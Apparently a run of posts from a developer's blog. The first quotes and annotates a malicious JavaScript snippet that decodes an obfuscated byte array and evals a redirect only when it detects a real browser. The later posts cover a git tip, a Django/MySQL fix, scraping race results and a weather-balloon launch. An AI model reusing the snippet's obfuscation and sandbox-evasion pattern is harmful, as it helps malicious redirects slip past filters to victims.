I’ve reformatted and annotated it for readability.
// hide redirect as ascii bytes
a = [0x78,0x63,0x74,0x33, etc...];
// "decrypt" our malicious code
// maybe this is good enough to defeat filters looking for encoded redirects?
for (i = 0; i < a.length; i++) {
a[i] -= 2;
}
//detect if we're in a real browser
try {
//throws exception because you can't increment a node
document.body++
} catch(e) {
// running in a real browser
notInBrowser = 0;
}
try {
//this throws an exception if we didn't throw an exception above
//(notInBrowser will be undefined)
notInBrowser &= 2
}
catch(e) {
notInBrowser = 1;
}
// if we are in a browser, do the redirect
// remember 0 == false and 1 == true
if (!notInBrowser) {
eval(String.fromCharCode.apply(String,a));
}
I’m not sure what was at the url. It was probably a phishing page or a browser exploit. If anyone can explain why they used a second try-catch instead of an if-statement, let me know.
git update-index --assume-unchanged path/to/file.txt
git commit -a -m "MOBILE-1234: changed a bunch of files but excluded that one I'm saving for later."
git update-index --no-assume-unchanged path/to/file.txt
If you change 10 files but you only want to commit 9 this will do the trick.
If you try to run a Django app from within Intellij using MySQL as the storage backend, you might get the following error.
django.core.exceptions.ImproperlyConfigured: Error loading MySQLdb module: dlopen(/Library/Python/2.7/site-packages/MySQL_python-1.2.4b4-py2.7-macosx-10.7-intel.egg/_mysql.so, 2): Library not loaded: libmysqlclient.18.dylib Referenced from: /Library/Python/2.7/site-packages/MySQL_python-1.2.4b4-py2.7-macosx-10.7-intel.egg/_mysql.so
Reason: image not found
You’re missing the DYLD_LIBRARY_PATH environment variable.
In Intellij, go to “edit configurations”, and add this: DYLD_LIBRARY_PATH=/usr/local/mysql/lib/
The Capitol 10,000 is a total friggin’ blast. Anyone with a remote interest in running should participate. Rarely do you get to run up the middle of the Congress bridge straight to the capitol through an unstoppable sea of humanity. On your way to the finish line you’ll pass spectators offering beer, bacon, and donuts.
Before you can catch your breath, they make the results available online. I’ve been looking for an opportunity to jump back into Python, so naturally I scraped the HTML and ran it through a script so people can play with the data.
Here’s how it went down.
Results are posted to mychiptime.com. They have some client-side JavaScript query their backend with your specified parameters. With a little help from Chrome’s developer console, I found their URL scheme. Use wget to download the data. It’s HTML that gets inserted directly into the page with a $(“#blah”).html(response).
The HTML returned by their API is truly hideous. A mere 20k rows cost 16MB… because they’re chock full of <b>, <font>, and “OnMouseOver”. After pulling out the relevant data, the file size is about 800KB.
Here’s the python script used to generate tab delimited .csv files from the HTML input. BeautifulSoup can take a few minutes to parse the larger files.
from bs4 import BeautifulSoup
#produce tab delimited CSV files from large html files
for year in range(2008, 2013):
print 'processing ' + str(year)
file = str(year) + '.html'
f = open(file, 'r');
html = f.read()
soup = BeautifulSoup(html)
table = soup.find("table")
#first row with column titles
rows = table.findAll('tr')
i = 0
#write data to csv file
outfile = str(year) + '.csv'
out = open(outfile, 'w')
this_row = ''
for row in rows:
cols = row.findAll('td')
for col in cols:
b = col.find('b')
text = str(b.string)
this_row += text
this_row += ' '
if i % 2 == 0:
this_row += '\n'
out.write(this_row)
this_row = ''
i += 1
out.close();
f.close()
Playing with the data
Building a simple scatterplot was way harder than it should have been. Google docs’ spreadsheet crashes when I try to build a chart. The Python library matplotlib chokes on the rows where Age is “None”. Wolfram Alpha rejects it, probably for the same reason. LibreOffice’s Spreadsheet just made my laptop really hot. Octave is inscrutable. But Plot for OSX did the job.
I’d like to see someone with MATLAB skills come up with some more advanced plots or divine some insight from the data. The columns available for 2012 are:
Name
Division Place
Gun Time
Chip Time
Overall Place
Age
Zip
Gen Place
Total Pace
Total Div
Total Gend
Tot AG
Here’s a zip archive of all the tab delimited CSV files 2008-2012.
Meet Winston. He’s traveled closer to outer space than you ever will.
On December 31st I launched a near space weather balloon with the help of some friends. We emulated methodologies used in similar projects that successfully launched balloons to 80,000 ft. and recovered them. We captured some decent video.
Design
Hardware Comrade Perry handled nearly every element of physical design. While we talked about the project for a semester, everything came together in the 48 hours preceding the launch. We originally envisioned a styrofoam cooler with a lexan pane in it for the camera to see through. We discarded this idea for a more compact package. The final design looked like this:
It’s a styofoam box tied to a parachute and a balloon.
Inside we have
Motorola Defy running our tracking app on CyanogenMod 7
A Sony Cybershot DSC-W55 digital camera
Re-usable anaerobic heating pad from CVS
Software There were two software components: An Android app for the smartphone and a node.js web app for storing and displaying coordinates sent from the phone. Originally we planned to use the phone for everything– pictures, video, and tracking. But, while building the app, I learned that the Android API is ill-suited for our use case. Specifically, taking pictures and recording video from a service rather than an activity is pretty difficult. The workaround? Just throw a digital camera in there. Perry took this in stride; I added this requirement the day of the launch.
The web app was far more fun to build. The node.js app just waits for post requests containing JSON-encoded coordinates. When it receives one, the server fires a socket.io event in the browser. The client-side JavaScript then plots the position on a Google map and connects it to the previous position with a red line.
On GitHub we have the source for the web app and the source for Android client. A lot of it was written the day of the launch, but it worked. As the balloon floated over Round Rock, we saw its path drawn in real time.
Bill of Materials
Motorola Defy (borrowed from @kmobs)
Sony Cybershot (clandestinely borrowed)
Foam Insulation (borrowed)
Metallic tape (borrowed)
Big model rocket parachute ($30)
Helium cylinder ($70)
Latex weather balloon ($26)
Android Mascot ($3)
Prepaid sim card for phone ($10)
Wrench ($5)
Total project cost: $144
Launch
The day of the launch was hectic. We hadn’t quite finished assembling everything into the box. After fitting everything in there and charging our devices, we headed out to get the helium. After picking up the cylinders, we realized we needed a wrench to open the valve on the tank, so we picked one up at HEB. On the drive over we verified that the smartphone got connectivity through the box. It turned out that the styrofoam insulation was coated in metallic foil. It was effectively a Faraday cage. If you look at the map above you can actually see when we placed the phone inside the box while en route to the park. Before launch, I peeled off half of the strips, then walked around a soccer field to make sure the server was getting a signal.
Once everything was good to go, we filled the balloon. about 5 people stood in circle around it for 15 minutes, trying to prevent the wind from whipping it into the ground and releasing about $70 of helium. It was difficult to tell when the balloon was full. It was supposed to have an 8 ft diameter, so we ballparked it using Perry’s arms.
Finally, we let it go:
Seeing the balloon float away so quickly mesmerized everyone for a bit. I was brought back to earth when someone asked if we were getting a signal. I looked at the web app on my phone. We were!
We drove back to Perry’s house to play the waiting game. The balloon took a meandering path.
The flight started in Old Setter’s Park, denoted by that green patch. (Points before that are from the drive there.) The last contact we had was east of Pflugerville, about 9 miles from where we launched it. This was expected behavior. At some point the balloon was supposed to rise above the range of the cell towers and go into a communication blackout. Unfortunately, the blackout never ended. We drove back to Perry’s house and waited, and waited, and waited.
Despite a delicious four course meal whipped up by Perry’s mom, I was a little upset at this point. Everyone was looking forward to recovering the balloon, but all we could do was speculate on why we couldn’t get a signal. We wrote off the project as a fun learning experience. But three days later I woke up to the best voicemail I’ve ever received.
Nick, I’m calling from Giddings, Texas. A little small town between Austin and Houston. I was feeding my cows this morning and found a box with a parachute attached to it…
Even if we could control where the balloon had landed, would couldn’t have chosen a better destination than the land of Mr. Evan Gonzales. He picked up our payload (still in once piece) and drove into town to meet us. But the hospitality didn’t end there. He showed us the way to a fantastic local eatery, the City Meat Market.
Post Mortem
While we thought the balloon was lost forever, we considered these potential causes of failure. Battery Trouble
The phone battery charged far slower than I would expect. Originally I thought there was a problem with the USB cable when the device kept connecting/disconnecting rapidly while I was debugging. But the same issue seemed to surface when charging the phone with another cable. The USB connector may have been damaged, preventing an adequate charge. Landed in dead zone
This is the T-Mobile prepaid data coverage map for the area the balloon likely would have landed in. Those beige areas have no data whatsoever. The balloon could have landed in a field, futilely trying to phone home until its battery died.
We now know that this is the most likely cause of failure. When I returned Evan’s call, it was dropped once. The coverage out there is pretty spotty.
Insufficient Lift
It’s possible that we underfilled the balloon and it stopped rising at some altitude. It may have risen out of cellular range and then stuck there, drifting for far longer than the expected two hours across a vast distance.
We now know that this is probably not the case. The video shows that it got pretty high up there, although definitely not to the 80,000 ft. seen in similar projects. If the digital camera had a bigger memory card we probably would have gotten video at a higher altitude that others have seen.
Future Considerations
If we were going to do this again in a month, I would do the following:
Put a bigger memory card in the camera. A 2 gigabyte memory stick was only enough for an hour and a half of low quality video. We could have gotten our hands on something better, but we ran out of time. This limitation kept us from recording the apex and the descent, two of the coolest parts.
Log data locally on the phone instead of sending it to the server and discarding it. This is an obvious design oversight that left us with a huge hole in our data. The mobile application should function like a plane’s black box.
Send coordinates to the server using SMS as well as Internet. Even if the phone can’t get data, it still may be able to send text messages. The Twilio API would make this integration with the web app seamless.
Use a more durable camera. This GoPro would be ideal.
Use a redundant, more durable GPS device. This hiking locator was used by some UCSD folks.
Use a foam box with no metallic foil. This likely affected the phone’s ability to transmit data.